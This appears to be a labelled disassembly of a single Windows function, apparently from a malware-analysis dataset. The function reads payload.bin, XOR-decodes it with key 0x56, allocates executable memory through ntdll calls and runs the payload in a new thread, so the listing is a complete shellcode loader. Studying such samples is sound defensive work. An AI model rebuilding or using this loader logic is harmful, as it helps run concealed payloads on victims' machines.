Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0xd8], rax
xor r14d, r14d
mov dword [rbp + 0xb8], r14d
movsd xmm0, qword [str.payload.bin]
movsd qword [rbp + 0xc8], xmm0
mov eax, dword [0x1400046f0]
mov dword [rbp + 0xd0], eax
lea rax, [0x1400047d0]
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0xb8], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x1c], r14b
mov byte [rbp + 0x11], r14b
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x20], r14
mov rax, qword [0x140007948]
mov qword [rbp + 0x14], rax
mov qword [rbp + 8], r14
lea edx, [r14 + 0x23]
lea r8d, [r14 + 0x40]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x14000176a
mov byte [rbp + 0x1c], 1
mov byte [rbp + 0x11], r14b
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov qword [rbp + 0xb8], r14
lea r9, [rbp + 0xb8]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0xb8]
mov qword [rsp + 0x30], r9
mov r8, qword [rsp + 0x78]
mov qword [rsp + 0x28], r8
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x20], rbx
mov rax, qword [0x140007948]
mov qword [rbp + 0x14], rax
mov qword [rbp + 8], r14
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140002bc0
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14000171a
mov qword [rbp + 8], r14
jmp 0x140001729
mov qword [rbp + 8], rbx
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rbp + 0xa8]
test rcx, rcx
je 0x14000174e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14000174e
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140001786
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rax + 8]
add rcx, qword [rax]
mov dword [rsp + 0x60], ecx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
movsxd rcx, dword [rsp + 0x60]
call fcn.140002f04
mov rsi, rax
cmp qword [rbp + 0x20], 0
je 0x14000180a
lea rdx, str.reading_from_the_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
mov rcx, rax
lea rdx, [0x140002b80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd r8, dword [rsp + 0x60]
mov rdx, rsi
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rdx, str.size_of_data_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
mov rcx, rax
mov edx, 8
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140002b80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.size_of_file_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
mov rcx, rax
mov edx, dword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140002b80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r14d
cmp dword [rsp + 0x60], r14d
jle 0x14000189b
mov rbx, rsi
nop dword [rax + rax]
movsx edx, byte [rbx]
lea rcx, str._x
call fcn.140001020
inc edi
lea rbx, [rbx + 1]
cmp edi, dword [rsp + 0x60]
jl 0x140001880
lea rcx, [0x140004648]
call fcn.140001020
mov ecx, r14d
cmp dword [rsp + 0x60], r14d
jle 0x1400018cf
mov rax, rsi
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x56
inc ecx
lea rax, [rax + 1]
cmp ecx, dword [rsp + 0x60]
jl 0x1400018c0
mov dword [rbp + 0xb8], 0x7a000074
mov dword [rbp + 0xbc], 0x7a000074
mov dword [rbp + 0xc0], 0x9090050f
mov dword [rbp + 0xc4], 0xcccc90c3
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xb8]
call fcn.140001300
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov qword [rsp + 0x68], r14
mov qword [rbp - 0x80], r14
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
movsxd r9, dword [rsp + 0x60]
mov qword [rsp + 0x20], r14
mov r8, rsi
mov rdx, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140002630
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0xd8]
xor rcx, rsp
call fcn.140002ea0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret